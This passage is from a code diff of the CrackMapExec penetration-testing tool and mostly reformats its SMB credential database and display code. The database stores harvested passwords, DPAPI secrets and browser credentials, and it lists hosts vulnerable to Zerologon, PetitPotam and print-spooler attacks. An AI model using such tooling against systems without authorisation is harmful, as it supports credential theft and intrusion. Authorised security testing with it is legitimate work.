{col.name: col for col in q_users.excluded if col.name not in "id"} + q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users) cme_logger.debug(f"Adding credentials: {credentials}") - self.conn.execute( - q_users, - credentials - ) # .scalar() + self.conn.execute(q_users, credentials) # .scalar() if groups: q_groups = Insert(self.GroupRelationsTable) - self.conn.execute( - q_groups, - groups - ) + self.conn.execute(q_groups, groups) # return user_ids def remove_credentials(self, creds_id): @@ -329,27 +331,22 @@ class database: """ del_hosts = [] for cred_id in creds_id: - q = delete(self.UsersTable).filter( - self.UsersTable.c.id == cred_id - ) + q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id) del_hosts.append(q) self.conn.execute(q) def add_admin_user(self, credtype, domain, username, password, host, user_id=None): - domain = domain.split('.')[0] add_links = [] creds_q = select(self.UsersTable) if user_id: - creds_q = creds_q.filter( - self.UsersTable.c.id == user_id - ) + creds_q = creds_q.filter(self.UsersTable.c.id == user_id) else: creds_q = creds_q.filter( func.lower(self.UsersTable.c.credtype) == func.lower(credtype), func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), - self.UsersTable.c.password == password + self.UsersTable.c.password == password, ) users = self.conn.execute(creds_q) hosts = self.get_hosts(host) @@ -358,13 +355,10 @@ class database: for user, host in zip(users, hosts): user_id = user[0] host_id = host[0] - link = { - "userid": user_id, - "hostid": host_id - } + link = {"userid": user_id, "hostid": host_id} admin_relations_select = select(self.AdminRelationsTable).filter( self.AdminRelationsTable.c.userid == user_id, - self.AdminRelationsTable.c.hostid == host_id + self.AdminRelationsTable.c.hostid == host_id, ) links = self.conn.execute(admin_relations_select).all() @@ -374,20 +368,13 @@ class database: admin_relations_insert = Insert(self.AdminRelationsTable) if add_links: - self.conn.execute( - admin_relations_insert, - add_links - ) + self.conn.execute(admin_relations_insert, add_links) def get_admin_relations(self, user_id=None, host_id=None): if user_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.userid == user_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.userid == user_id) elif host_id: - q = select(self.AdminRelationsTable).filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id) else: q = select(self.AdminRelationsTable) @@ -398,14 +385,10 @@ class database: q = delete(self.AdminRelationsTable) if user_ids: for user_id in user_ids: - q = q.filter( - self.AdminRelationsTable.c.userid == user_id - ) + q = q.filter(self.AdminRelationsTable.c.userid == user_id) elif host_ids: for host_id in host_ids: - q = q.filter( - self.AdminRelationsTable.c.hostid == host_id - ) + q = q.filter(self.AdminRelationsTable.c.hostid == host_id) self.conn.execute(q) def is_credential_valid(self, credential_id): @@ -414,7 +397,7 @@ class database: """ q = select(self.UsersTable).filter( self.UsersTable.c.id == credential_id, - self.UsersTable.c.password is not None + self.UsersTable.c.password is not None, ) results = self.conn.execute(q).all() return len(results) > 0 @@ -425,19 +408,13 @@ class database: """ # if we're returning a single credential by ID if self.is_credential_valid(filter_term): - q = select(self.UsersTable).filter( - self.UsersTable.c.id == filter_term - ) + q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) elif cred_type: - q = select(self.UsersTable).filter( - self.UsersTable.c.credtype == cred_type - ) + q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = select(self.UsersTable).filter( - func.lower(self.UsersTable.c.username).like(like_term) - ) + q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.UsersTable) @@ -446,27 +423,22 @@ class database: return results def get_credential(self, cred_type, domain, username, password): - domain = domain.split('.')[0] q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, self.UsersTable.c.username == username, self.UsersTable.c.password == password, - self.UsersTable.c.credtype == cred_type + self.UsersTable.c.credtype == cred_type, ) results = self.conn.execute(q).first() return results.id def is_credential_local(self, credential_id): - q = select(self.UsersTable.c.domain).filter( - self.UsersTable.c.id == credential_id - ) + q = select(self.UsersTable.c.domain).filter(self.UsersTable.c.id == credential_id) user_domain = self.conn.execute(q).all() if user_domain: - q = select(self.HostsTable).filter( - func.lower(self.HostsTable.c.id) == func.lower(user_domain) - ) + q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain)) results = self.conn.execute(q).all() return len(results) > 0 @@ -475,9 +447,7 @@ class database: """ Check if this host ID is valid. """ - q = select(self.HostsTable).filter( - self.HostsTable.c.id == host_id - ) + q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.conn.execute(q).all() return len(results) > 0 @@ -489,51 +459,32 @@ class database: # if we're returning a single host by ID if self.is_host_valid(filter_term): - q = q.filter( - self.HostsTable.c.id == filter_term - ) + q = q.filter(self.HostsTable.c.id == filter_term) results = self.conn.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] # if we're filtering by domain controllers - elif filter_term == 'dc': - q = q.filter( - self.HostsTable.c.dc == True - ) + elif filter_term == "dc": + q = q.filter(self.HostsTable.c.dc == True) if domain: - q = q.filter( - func.lower(self.HostsTable.c.domain) == func.lower(domain) - ) - elif filter_term == 'signing': + q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain)) + elif filter_term == "signing": # generally we want hosts that are vulnerable, so signing disabled - q = q.filter( - self.HostsTable.c.signing == False - ) - elif filter_term == 'spooler': - q = q.filter( - self.HostsTable.c.spooler == True - ) - elif filter_term == 'zerologon': - q = q.filter( - self.HostsTable.c.zerologon == True - ) - elif filter_term == 'petitpotam': - q = q.filter( - self.HostsTable.c.petitpotam == True - ) - elif filter_term is not None and filter_term.startswith('domain'): + q = q.filter(self.HostsTable.c.signing == False) + elif filter_term == "spooler": + q = q.filter(self.HostsTable.c.spooler == True) + elif filter_term == "zerologon": + q = q.filter(self.HostsTable.c.zerologon == True) + elif filter_term == "petitpotam": + q = q.filter(self.HostsTable.c.petitpotam == True) + elif filter_term is not None and filter_term.startswith("domain"): domain = filter_term.split()[1] like_term = func.lower(f"%{domain}%") - q = q.filter( - self.HostsTable.c.domain.like(like_term) - ) + q = q.filter(self.HostsTable.c.domain.like(like_term)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = q.filter( - self.HostsTable.c.ip.like(like_term) | - func.lower(self.HostsTable.c.hostname).like(like_term) - ) + q = q.filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term)) results = self.conn.execute(q).all() cme_logger.debug(f"smb hosts() - results: {results}") return results @@ -542,9 +493,7 @@ class database: """ Check if this group ID is valid. """ - q = select(self.GroupsTable).filter( - self.GroupsTable.c.id == group_id - ) + q = select(self.GroupsTable).filter(self.GroupsTable.c.id == group_id) results = self.conn.execute(q).first() valid = True if results else False @@ -555,7 +504,6 @@ class database: def add_group(self, domain, name, rid=None, member_count_ad=None): results = self.get_groups(group_name=name, group_domain=domain) - domain = domain.split('.')[0] groups = [] updated_ids = [] @@ -564,7 +512,7 @@ class database: "name": name, "rid": rid, "member_count_ad": member_count_ad, - "last_query_time": None + "last_query_time": None, } if not results: @@ -578,10 +526,7 @@ class database: # insert the group and get the returned id right away, this can be refactored when we can use RETURNING q = Insert(self.GroupsTable) - self.conn.execute( - q, - groups - ) + self.conn.execute(q, groups) new_group_data = self.get_groups(group_name=group_data["name"], group_domain=group_data["domain"]) returned_id = [new_group_data[0].id] cme_logger.debug(f"Inserted group with ID: {returned_id[0]}") @@ -609,16 +554,10 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.GroupsTable) # .returning(self.GroupsTable.c.id) - update_columns = {col.name: col for col in q.excluded if col.name not in 'id'} - q = q.on_conflict_do_update( - index_elements=self.GroupsTable.primary_key, - set_=update_columns - ) + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} + q = q.on_conflict_do_update(index_elements=self.GroupsTable.primary_key, set_=update_columns) - self.conn.execute( - q, - groups - ) + self.conn.execute(q, groups) # TODO: always return a list and fix code references to not expect a single integer # inserted_result = res_inserted_result.first() # gid = inserted_result.id @@ -633,49 +572,38 @@ class database: """ Return groups from the database """ - if group_domain: - group_domain = group_domain.split('.')[0] if filter_term and self.is_group_valid(filter_term): - q = select(self.GroupsTable).filter( - self.GroupsTable.c.id == filter_term - ) + q = select(self.GroupsTable).filter(self.GroupsTable.c.id == filter_term) results = self.conn.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] elif group_name and group_domain: q = select(self.GroupsTable).filter( func.lower(self.GroupsTable.c.name) == func.lower(group_name), - func.lower(self.GroupsTable.c.domain) == func.lower(group_domain) + func.lower(self.GroupsTable.c.domain) == func.lower(group_domain), ) elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = select(self.GroupsTable).filter( - self.GroupsTable.c.name.like(like_term) - ) + q = select(self.GroupsTable).filter(self.GroupsTable.c.name.like(like_term)) else: q = select(self.GroupsTable).filter() results = self.conn.execute(q).all() - cme_logger.debug( - f"get_groups(filter_term={filter_term}, groupName={group_name}, groupDomain={group_domain}) => {results}") + cme_logger.debug(f"get_groups(filter_term={filter_term}, groupName={group_name}, groupDomain={group_domain}) => {results}") return results def get_group_relations(self, user_id=None, group_id=None): if user_id and group_id: q = select(self.GroupRelationsTable).filter( self.GroupRelationsTable.c.id == user_id, - self.GroupRelationsTable.c.groupid == group_id + self.GroupRelationsTable.c.groupid == group_id, ) elif user_id: - q = select(self.GroupRelationsTable).filter( - self.GroupRelationsTable.c.id == user_id - ) + q = select(self.GroupRelationsTable).filter(self.GroupRelationsTable.c.id == user_id) elif group_id: - q = select(self.GroupRelationsTable).filter( - self.GroupRelationsTable.c.groupid == group_id - ) + q = select(self.GroupRelationsTable).filter(self.GroupRelationsTable.c.groupid == group_id) results = self.conn.execute(q).all() return results @@ -683,22 +611,16 @@ class database: def remove_group_relations(self, user_id=None, group_id=None): q = delete(self.GroupRelationsTable) if user_id: - q = q.filter( - self.GroupRelationsTable.c.userid == user_id - ) + q = q.filter(self.GroupRelationsTable.c.userid == user_id) elif group_id: - q = q.filter( - self.GroupRelationsTable.c.groupid == group_id - ) + q = q.filter(self.GroupRelationsTable.c.groupid == group_id) self.conn.execute(q) def is_user_valid(self, user_id): """ Check if this User ID is valid. """ - q = select(self.UsersTable).filter( - self.UsersTable.c.id == user_id - ) + q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id) results = self.conn.execute(q).all() return len(results) > 0 @@ -706,36 +628,30 @@ class database: q = select(self.UsersTable) if self.is_user_valid(filter_term): - q = q.filter( - self.UsersTable.c.id == filter_term - ) + q = q.filter(self.UsersTable.c.id == filter_term) # if we're filtering by username - elif filter_term and filter_term != '': + elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") - q = q.filter( - func.lower(self.UsersTable.c.username).like(like_term) - ) + q = q.filter(func.lower(self.UsersTable.c.username).like(like_term)) results = self.conn.execute(q).all() return results def get_user(self, domain, username): q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), - func.lower(self.UsersTable.c.username) == func.lower(username) + func.lower(self.UsersTable.c.username) == func.lower(username), ) results = self.conn.execute(q).all() return results def get_domain_controllers(self, domain=None): - return self.get_hosts(filter_term='dc', domain=domain) + return self.get_hosts(filter_term="dc", domain=domain) def is_share_valid(self, share_id): """ Check if this share ID is valid. """ - q = select(self.SharesTable).filter( - self.SharesTable.c.id == share_id - ) + q = select(self.SharesTable).filter(self.SharesTable.c.id == share_id) results = self.conn.execute(q).all() cme_logger.debug(f"is_share_valid(shareID={share_id}) => {len(results) > 0}") @@ -752,20 +668,16 @@ class database: } share_id = self.conn.execute( Insert(self.SharesTable).on_conflict_do_nothing(), # .returning(self.SharesTable.c.id), - share_data + share_data, ) # .scalar_one() # return share_id def get_shares(self, filter_term=None): if self.is_share_valid(filter_term): - q = select(self.SharesTable).filter( - self.SharesTable.c.id == filter_term - ) + q = select(self.SharesTable).filter(self.SharesTable.c.id == filter_term) elif filter_term: like_term = func.lower(f"%{filter_term}%") - q = select(self.SharesTable).filter( - self.SharesTable.c.name.like(like_term) - ) + q = select(self.SharesTable).filter(self.SharesTable.c.name.like(like_term)) else: q = select(self.SharesTable) results = self.conn.execute(q).all() @@ -785,10 +697,7 @@ class database: def get_users_with_share_access(self, host_id, share_name, permissions): permissions = permissions.lower() - q = select(self.SharesTable.c.userid).filter( - self.SharesTable.c.name == share_name, - self.SharesTable.c.hostid == host_id - ) + q = select(self.SharesTable.c.userid).filter(self.SharesTable.c.name == share_name, self.SharesTable.c.hostid == host_id) if "r" in permissions: q = q.filter(self.SharesTable.c.read == 1) if "w" in permissions: @@ -803,25 +712,17 @@ class database: :domain is the domain fqdn :pvk is the domain backupkey """ - q = select(self.DpapiBackupkey).filter( - func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain) - ) + q = select(self.DpapiBackupkey).filter(func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain)) results = self.conn.execute(q).all() if not len(results): pvk_encoded = base64.b64encode(pvk) - backup_key = { - "domain": domain, - "pvk": pvk_encoded - } + backup_key = {"domain": domain, "pvk": pvk_encoded} try: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.DpapiBackupkey) # .returning(self.DpapiBackupkey.c.id) - self.conn.execute( - q, - [backup_key] - ) # .scalar() + self.conn.execute(q, [backup_key]) # .scalar() cme_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})") # return inserted_id except Exception as e: @@ -834,9 +735,7 @@ class database: """ q = select(self.DpapiBackupkey) if domain is not None: - q = q.filter( - func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain) - ) + q = q.filter(func.lower(self.DpapiBackupkey.c.domain) == func.lower(domain)) results = self.conn.execute(q).all() cme_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}") @@ -850,16 +749,21 @@ class database: Check if this group ID is valid. :dpapi_secret_id is a primary id """ - q = select(self.DpapiSecrets).filter( - func.lower(self.DpapiSecrets.c.id) == dpapi_secret_id - ) + q = select(self.DpapiSecrets).filter(func.lower(self.DpapiSecrets.c.id) == dpapi_secret_id) results = self.conn.execute(q).first() valid = True if results is not None else False cme_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}") return valid - def add_dpapi_secrets(self, host: str, dpapi_type: str, windows_user: str, username: str, password: str, - url: str = ''): + def add_dpapi_secrets( + self, + host: str, + dpapi_type: str, + windows_user: str, + username: str, + password: str, + url: str = "", + ): """ Add dpapi secrets to cmedb """ @@ -869,88 +773,72 @@ class database: "windows_user": windows_user, "username": username, "password": password, - "url": url + "url": url, } q = Insert(self.DpapiSecrets).on_conflict_do_nothing() # .returning(self.DpapiSecrets.c.id) - self.conn.execute( - q, - [secret] - ) # .scalar() + self.conn.execute(q, [secret]) # .scalar() # inserted_result = res_inserted_result.first() # inserted_id = inserted_result.id - cme_logger.debug( - f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})") + cme_logger.debug(f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})") - def get_dpapi_secrets(self, filter_term=None, host: str = None, dpapi_type: str = None, windows_user: str = None, - username: str = None, url: str = None): + def get_dpapi_secrets( + self, + filter_term=None, + host: str = None, + dpapi_type: str = None, + windows_user: str = None, + username: str = None, + url: str = None, + ): """ Get dpapi secrets from cmedb """ q = select(self.DpapiSecrets) if self.is_dpapi_secret_valid(filter_term): - q = q.filter( - self.DpapiSecrets.c.id == filter_term - ) + q = q.filter(self.DpapiSecrets.c.id == filter_term) results = self.conn.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] elif host: - q = q.filter( - self.DpapiSecrets.c.host == host - ) + q = q.filter(self.DpapiSecrets.c.host == host) results = self.conn.execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] elif dpapi_type: - q = q.filter( - func.lower(self.DpapiSecrets.c.dpapi_type) == func.lower(dpapi_type) - ) + q = q.filter(func.lower(self.DpapiSecrets.c.dpapi_type) == func.lower(dpapi_type)) elif windows_user: like_term = func.lower(f"%{windows_user}%") - q = q.filter( - func.lower(self.DpapiSecrets.c.windows_user).like(like_term) - ) + q = q.filter(func.lower(self.DpapiSecrets.c.windows_user).like(like_term)) elif username: like_term = func.lower(f"%{username}%") - q = q.filter( - func.lower(self.DpapiSecrets.c.windows_user).like(like_term) - ) + q = q.filter(func.lower(self.DpapiSecrets.c.windows_user).like(like_term)) elif url: - q = q.filter( - func.lower(self.DpapiSecrets.c.url) == func.lower(url) - ) + q = q.filter(func.lower(self.DpapiSecrets.c.url) == func.lower(url)) results = self.conn.execute(q).all() - cme_logger.debug( - f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}") + cme_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}") return results def add_loggedin_relation(self, user_id, host_id): relation_query = select(self.LoggedinRelationsTable).filter( self.LoggedinRelationsTable.c.userid == user_id, - self.LoggedinRelationsTable.c.hostid == host_id + self.LoggedinRelationsTable.c.hostid == host_id, ) results = self.conn.execute(relation_query).all() # only add one if one doesn't already exist if not results: - relation = { - "userid": user_id, - "hostid": host_id - } + relation = {"userid": user_id, "hostid": host_id} try: cme_logger.debug(f"Inserting loggedin_relations: {relation}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) - self.conn.execute( - q, - [relation] - ) # .scalar() + self.conn.execute(q, [relation]) # .scalar() inserted_id_results = self.get_loggedin_relations(user_id, host_id) cme_logger.debug(f"Checking if relation was added: {inserted_id_results}") return inserted_id_results[0].id @@ -960,24 +848,16 @@ class database: def get_loggedin_relations(self, user_id=None, host_id=None): q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) if user_id: - q = q.filter( - self.LoggedinRelationsTable.c.userid == user_id - ) + q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) if host_id: - q = q.filter( - self.LoggedinRelationsTable.c.hostid == host_id - ) + q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) results = self.conn.execute(q).all() return results def remove_loggedin_relations(self, user_id=None, host_id=None): q = delete(self.LoggedinRelationsTable) if user_id: - q = q.filter( - self.LoggedinRelationsTable.c.userid == user_id - ) + q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) elif host_id: - q = q.filter( - self.LoggedinRelationsTable.c.hostid == host_id - ) + q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) self.conn.execute(q) diff --git a/cme/protocols/smb/db_navigator.py b/cme/protocols/smb/db_navigator.py index f6e406c8..5b96d573 100644 --- a/cme/protocols/smb/db_navigator.py +++ b/cme/protocols/smb/db_navigator.py @@ -7,7 +7,7 @@ from cme.cmedb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): def display_creds(self, creds): - data = [['CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "Admin On", "CredType", "Domain", "UserName", "Password"]] for cred in creds: cred_id = cred[0] @@ -18,11 +18,30 @@ class navigator(DatabaseNavigator): # pillaged_from = cred[5] links = self.db.get_admin_relations(user_id=cred_id) - data.append([cred_id, str(len(links)) + ' Host(s)', credtype, domain, username, password]) - print_table(data, title='Credentials') + data.append( + [ + cred_id, + str(len(links)) + " Host(s)", + credtype, + domain, + username, + password, + ] + ) + print_table(data, title="Credentials") def display_groups(self, groups): - data = [['GroupID', 'Domain', 'Name', 'RID', 'Enumerated Members', 'AD Members', 'Last Query Time']] + data = [ + [ + "GroupID", + "Domain", + "Name", + "RID", + "Enumerated Members", + "AD Members", + "Last Query Time", + ] + ] for group in groups: group_id = group[0] @@ -33,24 +52,26 @@ class navigator(DatabaseNavigator): ad_members = group[4] last_query_time = group[5] data.append([group_id, domain, name, rid, members, ad_members, last_query_time]) - print_table(data, title='Groups') + print_table(data, title="Groups") # pull/545 def display_hosts(self, hosts): - data = [[ - 'HostID', - 'Admins', - 'IP', - 'Hostname', - 'Domain', - 'OS', - 'SMBv1', - 'Signing', - 'Spooler', - 'Zerologon', - 'PetitPotam' - ]] - + data = [ + [ + "HostID", + "Admins", + "IP", + "Hostname", + "Domain", + "OS", + "SMBv1", + "Signing", + "Spooler", + "Zerologon", + "PetitPotam", + ] + ] + for host in hosts: host_id = host[0] ip = host[1] @@ -65,33 +86,35 @@ class navigator(DatabaseNavigator): smbv1 = host[6] signing = host[7] except IndexError: - smbv1 = '' - signing = '' + smbv1 = "" + signing = "" try: spooler = host[8] zerologon = host[9] petitpotam = host[10] except IndexError: - spooler = '' - zerologon = '' - petitpotam = '' + spooler = "" + zerologon = "" + petitpotam = "" links = self.db.get_admin_relations(host_id=host_id) - data.append([ - host_id, - str(len(links)) + ' Cred(s)', - ip, - hostname, - domain, - os, - smbv1, - signing, - spooler, - zerologon, - petitpotam - ]) - print_table(data, title='Hosts') - + data.append( + [ + host_id, + str(len(links)) + " Cred(s)", + ip, + hostname, + domain, + os, + smbv1, + signing, + spooler, + zerologon, + petitpotam, + ] + ) + print_table(data, title="Hosts") + def display_shares(self, shares): data = [["ShareID", "host", "Name", "Remark", "Read Access", "Write Access"]] @@ -101,24 +124,18 @@ class navigator(DatabaseNavigator): name = share[3] remark = share[4] - users_r_access = self.db.get_users_with_share_access( - host_id=host_id, - share_name=name, - permissions='r' + users_r_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="r") + users_w_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="w") + data.append( + [ + share_id, + host_id, + name, + remark, + f"{len(users_r_access)} User(s)", + f"{len(users_w_access)} Users", + ] ) - users_w_access = self.db.get_users_with_share_access( - host_id=host_id, - share_name=name, - permissions='w' - ) - data.append([ - share_id, - host_id, - name, - remark, - f"{len(users_r_access)} User(s)", - f"{len(users_w_access)} Users" - ]) print_table(data) def do_shares(self, line): @@ -142,62 +159,38 @@ class navigator(DatabaseNavigator): name = share[3] remark = share[4] - users_r_access = self.db.get_users_with_share_access( - host_id=host_id, - share_name=name, - permissions='r' - ) - users_w_access = self.db.get_users_with_share_access( - host_id=host_id, - share_name=name, - permissions='w' - ) + users_r_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="r") + users_w_access = self.db.get_users_with_share_access(host_id=host_id, share_name=name, permissions="w") data = [["ShareID", "Name", "Remark"], [share_id, name, remark]] - print_table(data, title='Share') + print_table(data, title="Share") host = self.db.get_hosts(filter_term=host_id)[0] - data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS', 'DC']] + data = [ + ["HostID", "IP", "Hostname", "Domain", "OS", "DC"], + [host[0], host[1], host[2], host[3], host[4], host[5]], + ] - host_id = host[0] - ip = host[1] - hostname = host[2] - domain = host[3] - os = host[4] - dc = host[5] - - data.append([host_id, ip, hostname, domain, os, dc]) - print_table(data, title='Share Location') + print_table(data, title="Share Location") if users_r_access: - data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for user in users_r_access: userid = user[0] creds = self.db.get_credentials(filter_term=userid) for cred in creds: - cred_id = cred[0] - domain = cred[1] - username = cred[2] - password = cred[3] - credtype = cred[4] - data.append([cred_id, credtype, domain, username, password]) - print_table(data, title='Users(s) with Read Access') + data.append([cred[0], cred[4], cred[1], cred[2], cred[3]]) + print_table(data, title="Users(s) with Read Access") if users_w_access: - data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for user in users_w_access: userid = user[0] creds = self.db.get_credentials(filter_term=userid) for cred in creds: - cred_id = cred[0] - domain = cred[1] - username = cred[2] - password = cred[3] - credtype = cred[4] - - data.append([cred_id, credtype, domain, username, password]) - print_table(data, title='Users(s) with Write Access') + data.append([cred[0], cred[4], cred[1], cred[2], cred[3]]) + print_table(data, title="Users(s) with Write Access") def help_shares(self): help_string = """ @@ -219,20 +212,41 @@ class navigator(DatabaseNavigator): if len(groups) > 1: self.display_groups(groups) elif len(groups) == 1: - data = [['GroupID', 'Domain', 'Name', 'RID', 'Enumerated Members', 'AD Members', 'Last Query Time']] + data = [ + [ + "GroupID", + "Domain", + "Name", + "RID", + "Enumerated Members", + "AD Members", + "Last Query Time", + ] + ] for group in groups: - group_id = group[0] - domain = group[1] - name = group[2] - rid = group[3] - members = len(self.db.get_group_relations(group_id=group_id)) - ad_members = group[4] - last_query_time = group[5] - - data.append([group_id, domain, name, rid, members, ad_members, last_query_time]) - print_table(data, title='Group') - data = [['CredID', 'CredType', 'Pillaged From HostID', 'Domain', 'UserName', 'Password']] + data.append( + [ + group[0], + group[1], + group[2], + group[3], + len(self.db.get_group_relations(group_id=group[0])), + group[4], + group[5], + ] + ) + print_table(data, title="Group") + data = [ + [ + "CredID", + "CredType", + "Pillaged From HostID", + "Domain", + "UserName", + "Password", + ] + ] for group in groups: members = self.db.get_group_relations(group_id=group[0]) @@ -242,15 +256,8 @@ class navigator(DatabaseNavigator): creds = self.db.get_credentials(filter_term=userid) for cred in creds: - cred_id = cred[0] - domain = cred[1] - username = cred[2] - password = cred[3] - credtype = cred[4] - pillaged_from = cred[5] - - data.append([cred_id, credtype, pillaged_from, domain, username, password]) - print_table(data, title='Member(s)') + data.append([cred[0], cred[4], cred[5], cred[1], cred[2], cred[3]]) + print_table(data, title="Member(s)") def help_groups(self): help_string = """ @@ -272,19 +279,21 @@ class navigator(DatabaseNavigator): if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: - data = [[ - 'HostID', - 'IP', - 'Hostname', - 'Domain', - 'OS', - 'DC', - 'SMBv1', - 'Signing', - 'Spooler', - 'Zerologon', - 'PetitPotam' - ]] + data = [ + [ + "HostID", + "IP", + "Hostname", + "Domain", + "OS", + "DC", + "SMBv1", + "Signing", + "Spooler", + "Zerologon", + "PetitPotam", + ] + ] host_id_list = [] for host in hosts: @@ -301,38 +310,40 @@ class navigator(DatabaseNavigator): try: dc = host[5] except IndexError: - dc = '' + dc = "" try: smbv1 = host[6] signing = host[7] except IndexError: - smbv1 = '' - signing = '' + smbv1 = "" + signing = "" try: spooler = host[8] zerologon = host[9] petitpotam = host[10] except IndexError: - spooler = '' - zerologon = '' - petitpotam = '' + spooler = "" + zerologon = "" + petitpotam = "" - data.append([ - host_id, - ip, - hostname, - domain, - os, - dc, - smbv1, - signing, - spooler, - zerologon, - petitpotam, - ]) - print_table(data, title='Host') + data.append( + [ + host_id, + ip, + hostname, + domain, + os, + dc, + smbv1, + signing, + spooler, + zerologon, + petitpotam, + ] + ) + print_table(data, title="Host") - data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] + data = [["CredID", "CredType", "Domain", "UserName", "Password"]] for host_id in host_id_list: links = self.db.get_admin_relations(host_id=host_id) @@ -341,14 +352,9 @@ class navigator(DatabaseNavigator): creds = self.db.get_credentials(filter_term=cred_id) for cred in creds: - cred_id = cred[0] - domain = cred[1] - username = cred[2] - password = cred[3] - credtype = cred[4] - # pillaged_from = cred[5] - data.append([cred_id, credtype, domain, username, password]) - print_table(data, title='Credential(s) with Admin Access') + data.append([cred[0], cred[4], cred[1], cred[2], cred[3]]) + + print_table(data, title="Credential(s) with Admin Access") def help_hosts(self): help_string = """ @@ -374,46 +380,134 @@ class navigator(DatabaseNavigator): if filter_term == "": secrets = self.db.get_dpapi_secrets() - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "browser": secrets = self.db.get_dpapi_secrets(dpapi_type="MSEDGE") secrets += self.db.get_dpapi_secrets(dpapi_type="GOOGLE CHROME") secrets += self.db.get_dpapi_secrets(dpapi_type="IEX") secrets += self.db.get_dpapi_secrets(dpapi_type="FIREFOX") if len(secrets) > 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "chrome": secrets = self.db.get_dpapi_secrets(dpapi_type="GOOGLE CHROME") if len(secrets) > 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "msedge": secrets = self.db.get_dpapi_secrets(dpapi_type="MSEDGE") if len(secrets) > 0: - secrets.insert(0, ["ID", "Host", "DPAPI Type", "Windows User", "Username", "Password", "URL"]) - print_table(secrets, title='DPAPI Secrets') + secrets.insert( + 0, + [ + "ID", + "Host", + "DPAPI Type", + "Windows User", + "Username", + "Password", + "URL", + ], + ) + print_table(secrets, title="DPAPI Secrets") elif filter_term.split()[0].lower() == "credentials": secrets = self.db.get_dpapi_secrets(dpapi_type="CREDENTIAL") if len(secrets) 